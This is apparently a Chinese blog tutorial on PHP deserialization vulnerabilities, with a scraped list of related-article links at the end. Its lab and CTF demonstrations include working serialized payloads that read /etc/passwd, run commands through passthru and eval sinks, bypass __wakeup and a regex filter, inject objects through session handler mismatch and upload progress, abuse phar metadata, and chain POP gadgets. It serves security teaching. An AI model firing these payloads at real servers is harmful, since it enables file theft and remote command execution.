浅谈PHP反序列化漏洞原理
序列化与反序列化
序列化用途:方便于对象在网络中的传输和存储
0x01 php反序列化漏洞
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常见的序列化格式:
- 二进制格式
- 字节数组
- json字符串
- xml字符串
序列化就是将对象转换为流,利于储存和传输的格式
反序列化与序列化相反,将流转换为对象
例如:json序列化、XML序列化、二进制序列化、SOAP序列化
而php的序列化和反序列化基本都围绕着 serialize()
,unserialize()
这两个函数
php对象中常见的魔术方法
__construct() // 当一个对象创建时被调用,
__destruct() // 当一个对象销毁时被调用,
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
PHP序列化数据
测试脚本 test.php
<?php
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
这是一个对象通过serialize()方法序列化后的格式
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞
php对象中属性的访问级别
测试 test.php
class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);
private
的属性序列化后变成 <0x00>对象<0x00>属性名
public
没有任何变化
protected
的属性序列化后变成 <0x00>*<0x00>属性名
特殊十六进制<0x00>
表示一个坏字节,就是空字节
下面测试正确的传值姿势进行反序列化
代码后添加几句
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
先是测试普通的访问形式来传值
usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}
public
被正常修改,private、protected无法被对象外修改
如何才能从外部修改被保护的属性值呢?
将 <0x00>
的位置用 %00
代替
usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}
可以发现即使是被保护的属性也会被外部修改
php反序列化演示
假设页面有个接口参数可控
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
测试页面是通过post来传递参数,实战环境不一定在post中,参数可能会被加密编码过
先传递一个 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}
通过修改参数,判断参数是否可变
参数可变
反序列化漏洞利用
漏洞形成条件
- 参数可变
- 有可利用函数
假设存在可利用函数
测试代码 test.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
可知存在一个file_get_contents()
文件读取函数。
构造恶意参数 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
将之前User的接口改为读取文件的类构造参数,FileClass只有一个filename属性,只需要传递要读取的文件名就行
用同样的参数名传递恶意参数,导致当前目录的test.php
被读取,也可以尝试读取其他文件
读取test.txt
尝试读取/etc/passwd
构造参数 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}
0x02 绕过 __wakeup()
__wakeup() 类似一个预处理的作用,在执行unserialize()时会检测是否存在wakeup,存在则先执行 __wakeup()
绕过方式
这种方式绕过是由PHP的版本漏洞造成的
绕过__wakeup()
只需要将参数的个数改成超过现有的参数个数即可
影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10
5.6.40和5.5.38测试对比
测试页面 test.php
测试版本 php 5.6.40
测试系统 Linux
IP :192.168.80.11
<?php
// ...省略其他代码
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
这里 __wakeup() 中,判断如果输入的cmd参数中存在 "ls" 的字符串,则将cmd置为空格。
构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
将参数的个数改成超过现有的参数个数进行绕过
更新后的版本,无法绕过会产生报错
换一台虚拟机进行测试
测试页面 test.php
测试版本 php 5.5.38
测试系统 Windows 7
IP :192.168.80.128
测试页面 php_unser.php
<?php
// ...其余都一样
function __wakeup(){
# 因为win7没有ls命令,所以这里来限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法输入";
}
}
?>
构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
发现被__wakeup()过滤了
修改参数个数进行绕过 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}
经测试可以绕过
0x03 Session反序列化
php中的session内容不是存放在内存中,是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以
sess_sessionid
来进行命名的,文件的内容就是session值的序列化之后的内容。
存储方式
php_binary
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值php
存储方式是,键名+竖线+经过serialize()函数序列处理的值php_serialize(php>5.5.4)
存储方式是,经过serialize()函数序列化处理的值
设置格式
ini_set('session.serialize_handler', '需要设置的引擎');
默认下session存储为 php
存储方式
<?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()."<br>";
passthru("cat /tmp/sess_".session_id());
?>
// session内容 name|s:5:"admin";
php_serialize
引擎
ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容 a:1:{s:4:"name";s:5:"admin";}
php_binary
引擎
ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容
ASCII的值为4的字符无法打印显示
漏洞原理
当session使用不当,如php反序列化储存时使用引擎和序列化使用的引擎不一样,就会形成漏洞。
漏洞复现
本次测试,以 php
引擎和 php_serialize
引擎混合引发的漏洞
测试页面1 target1.php
--> php_serialize
引擎
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];
if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "欢迎来到第一个页面,Session已保存!";
}
?>
测试页面2 target2.php
--> php
引擎
<?php
ini_set('session.serialize_handler','php');
session_start();
// 开启session之后 无需调用会自动加载
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
// 执行命令
passthru($this->name);
}
}
?>
通过向 target1.php
传递一个name为 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}
然后在访问 target2.php
,会发现之前传递参数中的 cat /etc/passwd
命令被执行
这是发生了什么?!!
漏洞触发流程
首先通过访问 target1.php
并且传递了参数 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}
而target1.php
页面是php_serialize
引擎来存储session,所以session保存后的内容变成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
然后当访问target2.php
时,会用第二个页面的 php
引擎来解析session,通过 |
来分割字符串取出对应的值;
Session值
a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
分解后, a:1:{s:4:"name";s:48:"admin
被当作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
被解析成value
Session本身就是序列化和反序列化的存储方式
通过session将O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
反序列化
就会生成 Admin
对象和一个属性值为 cat /etc/passwd
的name
再通过对象的销毁魔术方法__destruct()
就会形成恶意的命令执行
CTF题实战
为了符合题意需要将 php.ini
中的 serialize_handler 修改一下
题目测试页面 test3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>
符合上面将的漏洞环境
通过源码可以看出并没有可以传入参数的地方
不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
构造一个post表单
<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
上传一个文件,抓包分析
修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
session值 先是以php_serialize引擎序列化后储存
后输出页面被 php引擎解析触发反序列化漏洞
构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}
可以遍历 /tmp/ 内的所有文件
0x04 反序列化绕过正则
测试页面源码 test4.php
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
首先访问 <http://192.168.80.11/test4.php>
通过源码可以看出存在一个反序列化漏洞
根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches);
对序列化字符串做了限制导致触发防御
接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}
并没有什么变化的原因是,在url中 +
号会被解释为空格,所以需要将 +
url编码后加入
尝试访问 flag.php
绕过正则表达式
实战中需根据正则表达式规则来进行绕过
0x05 phar反序列化
phar伪协议触发php反序列化
phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
案例演示
假设已知页面 test5.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "nice"';
function __destruct(){
eval($this->output);
}
}
var_dump(file_exists($filename));
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
接下来根据源码中的类来构造一个phar文件
创建一个 phar.php
<?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}
@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>
通过访问或者 php 编译去生成 phar文件
注意:必须要在php.ini中设置 phar.readonly = Off
不然无法生存phar文件
通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应
可以通过上传文件等方式将phar文件放到服务器上
先通过正常url http://192.168.80.11/test5.php?filename=index.php
访问
找到phar文件的路径
利用 phar:// 协议来访问
http://192.168.80.11/test5.php?filename=phar://myclass.phar
可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的
0x06 POP链构造
测试页面 pop.php
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
?>
解题思路:
- 首先发现找到flag,发现flag需要通过
GetFlag
类中get_flag()
函数输出,然后可以看到string1
类中的__toString()
方法可以直接调用get_flag()
方法,而str1
需要赋值为GetFlag
。 - 发现类
func
中存在__invoke
方法执行了字符串拼接,需要把func
当成函数使用自动调用__invoke
然后把$mod1
赋值为string1
的对象与$mod2
拼接。 - 在
funct
中找到了函数调用,需要把mod1
赋值为func
类的对象,又因为函数调用在__call
方法中,且参数为$test2
,即无法调用test2
方法时自动调用__call
方法; - 在
Call
中的test1
方法中存在$this->mod1->test2();
,需要把$mod1
赋值为funct
的对象,让__call
自动调用。 - 查找
test1
方法的调用点,在start_gg
中发现$this->mod1->test1();
,把$mod1
赋值为start_gg
类的对象,等待__destruct()
自动调用。
通过构造pop链输出payload
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);
执行后输出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
将payload带入到参数发送请求,输出flag
浅谈PHP反序列化漏洞原理的更多相关文章
- 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...
- 浅谈python反序列化漏洞
最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.co ...
- 浅谈php反序列化漏洞
关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...
- TODO:浅谈pm2基本工作原理
TODO:浅谈pm2基本工作原理 要谈Node.js pm2的工作原理,需要先来了解撒旦(Satan)和上帝(God)的关系. 撒旦(Satan),主要指<圣经>中的堕天使(也称堕天使撒旦 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
- 浅谈SpringBoot核心注解原理
SpringBoot核心注解原理 今天跟大家来探讨下SpringBoot的核心注解@SpringBootApplication以及run方法,理解下springBoot为什么不需要XML,达到零配置 ...
- Java反序列化漏洞原理解析(案例未完善后续补充)
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...
- 浅谈springboot自动配置原理
前言 springboot自动配置关键在于@SpringBootApplication注解,启动类之所以作为项目启动的入口,也是因为该注解,下面浅谈下这个注解的作用和实现原理 @SpringBootA ...
随机推荐
- exe、dos、bat等静默运行,后台运行,不弹窗的解决办法
exe中 #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" ) 1. WinExec(LPCS ...
- spring boot 打 war包
spring boot .spring cloud打 war包,并发布到tomcat中运行 1.pom文件修改 <packaging>war</packaging> 2.< ...
- Unity进阶之ET网络游戏开发框架 03-Hotfix层启动
版权申明: 本文原创首发于以下网站: 博客园『优梦创客』的空间:https://www.cnblogs.com/raymondking123 优梦创客的官方博客:https://91make.top ...
- serverless在微店node领域的探索应用
背景 目前微店中台团队为了满足公司大部分产品.运营以及部分后端开发人员的尝鲜和试错的需求,提供了一套基于图形化搭建的服务端接口交付方案,利用该方案及提供的系统可生成一副包含运行时环境定义可立即运行的工 ...
- 解决pyinstaller打包可执行文件,存放路径包含中文无法运行的问题
一.实验环境 1.Windows7x64_SP1 2.anaconda2.5.0 + python2.7(anaconda集成,不需单独安装) 3.pyinstaller3.0 二.问题描述 1.使用 ...
- 前端表格数据导出excel
使用tableExport.js导出bootstrap-table表格成excel并且支持中文 1. 下载tableExport.js https://github.com/hhurz/tableEx ...
- Groovy语法基础
Groovy 简介 Groovy 是一种基于 JVM 的动态语言,他的语法和 Java 相似,最终也是要编译 .class 在JVM上运行. Groovy 完全兼容 Java 并且在此基础上添加了很多 ...
- Linux环境搭建 | VMware下共享文件夹的实现
在进行程序开发的过程中,我们经常要在主机与虚拟机之间传递文件,比如说,源代码位于虚拟机,而在主机下阅读或修改源代码,这里就需要使用到 「共享文件」 这个机制了.本文介绍了两种共享文件夹的实现机制:VM ...
- Suring开发集成部署时问题记录
前言 开发时一定要用管理员模式打开VS或者VSCODE进行开发,同时不要在nuget上直接下载,要去github上下载源代码调试.第一方便调试,第二Surging迭代较快,nuget版本往往不是最新的 ...
- Liunx软件安装之MySQL
一.安装MySQL 1.1 配置 yum 源 centos 默认没有 MySQL 的 yum 源,所以需要先配置 yum 源. 1) 前往 官网,选择对应系统版本 2) 右键复制链接 3) 在 cen ...